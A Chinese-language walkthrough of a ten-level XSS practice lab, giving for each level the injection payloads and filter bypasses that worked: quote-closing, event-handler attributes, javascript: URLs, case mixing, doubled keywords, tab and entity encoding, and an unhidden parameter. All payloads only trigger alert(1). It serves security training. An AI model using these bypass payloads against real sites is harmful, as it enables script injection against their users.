第一关:
没过滤,直接构造payload:
http://test.ctf8.com/level1.php?name= <script> alert(1) </script>test
然后显示我们成功了,点击确定进入下一关
第二关:
这次有一个输入框,尝试输入aaa,可以发现URL变成:
http://test.ctf8.com/level2.php?keyword=aaa&submit=搜索
然后我们尝试直接在输入框输入JS代码或者在URL里添加,但发现注入失败,被输出来了
"><script>alert(1)</script>
成功!ps:这时页面代码变成了:
<input name="keyword" value=""><script>alert(1)</script>"
或者用on事件
" onclick=alert(1)>
需要点击一下输入框" onmouseover=alert(1)>
又或者:
"><img src=1 onerror="alert(1)"
"><a href="javascript:alert(1)">123</a>
都是可以的第三关:
尝试用上一关的方法,但是失败了-_-
查看源码发现尖括号被解析了
用单引号闭合即可,然后用on事件,参考payload:
' onclick=alert(1)%0a
(%0a用做换行使的input标签语法正确,主要是因为过滤了“>”)onclick 事件直接包含在<>内,可直接被执行,观察源代码为单引号,把value给闭合掉或者
'onclick='javascript:alert(1)'
这两个都是要再点击一下输入框观察php源码则会发现htmlspecialchars()函数,
这个函数会将<>等一些字符进行实体化,但是单引号不会,所以还可以利用onmouseover事件
payload:
' onmouseover='alert(1)'
补充:
伪协议是一种不标准的协议,把javascript:后的语句当作js来执行,结果值返回当前页面,javascript:url的形式
on() 方法在被选元素及子元素上添加一个或多个事件处理程序,例:
onclick 事件会在元素被点击时发生
onmouseover 属性在鼠标指针移动到元素上时(滑过)触发
第四关:
和第三关无差,只是闭合方式变成了双引号
"onclick='javascript:alert(1)'
观察PHP源码,多了一个str_replace()函数,
简单介绍一下,语法格式str_replace(find,replace,string),例:
<?phpecho str_replace("world","Peter","Hello world!");?>
是把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter",
本题是将<>替换为空,这里可以利用oninput事件和onchange事件
payload:
"onchange=alert(1)//
" oninput=alert(1) //
此时页面代码为:value=" " onchange=" alert(1)//" "
value=" oninput=alert(1) //">
第五关:
先用上一关的方法试试,失败了
"><script>alert(1)</script>
结果是失败的o_o,只好再看一下源码"><a href=javascript:alert(1)>
第六关:
这里我么们直接使用上题的注入方式,然后发现都是失败的,查看源码如下:
<input name=keyword value=" "><a hr_ef="javascript:alert(1)">">
<input name=keyword value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword value=" "<scr_ipt> alert(1)</script>">
发现这里的href、 script、 onclick 都被过滤了,可以尝试下大小写绕过吖
参考payload:"Onclick='javascript:alert(1)'
成功!
第七关:
试试输入上个一关的语句,结果如下:
<input name="keyword" value=""><>alert(1)</>">
<input name="keyword" value=""click='java:alert(1)'">
<input name="keyword" value><a =java:alert(1)>"">"
看来是on,script,href被完全过滤了,
一时无解,不知道还有什么语句,就看了下别人的博客,o_o原来是双写绕过吖
所以参考payload:
"><sscriptcript>alert(1)</sscriptcript>
"><a hhrefref=javasscriptcript:alert(1)>(点击链接)
"oonnclick='javasscriptcript:alert(1)'(二次点击输入框)
还有就不列举了·······
第八关:
这道题过滤javascript关键字,会把javascript变成javasc_ript。可以通过tab制表符绕过(%09),参考payload:
javasc%09ript:alert(1)
javascript:alert(/xss/)
#HTML实体编码(对哪一个字符编码都可如:javascript:alert(1)
),然后还需要需要点击一下页面内的链接第九关:
观察源码,这次和第8关比只是多了一个对添加链接的判断,就是http://
所以只需要在我们的payload当中添加一个http即可,同时使用注释包裹起来,让他不生效就好:
payload:javascript:alert(1)/http://www.baidu.com/
第十关:
这一关居然没有输入框
只能在URL上动手脚了--,但是什么也不知道,不能盲注吧,so查看一下源码:
哇哦,不得了
答案出来了,只有t_sort参数处有回应,所以这里t_sort 就是注入点,构造命令(ps:代码中有隐藏的参数设置,把hidden改为text)
payload:
&t_sort=" type="text" onclick="alert()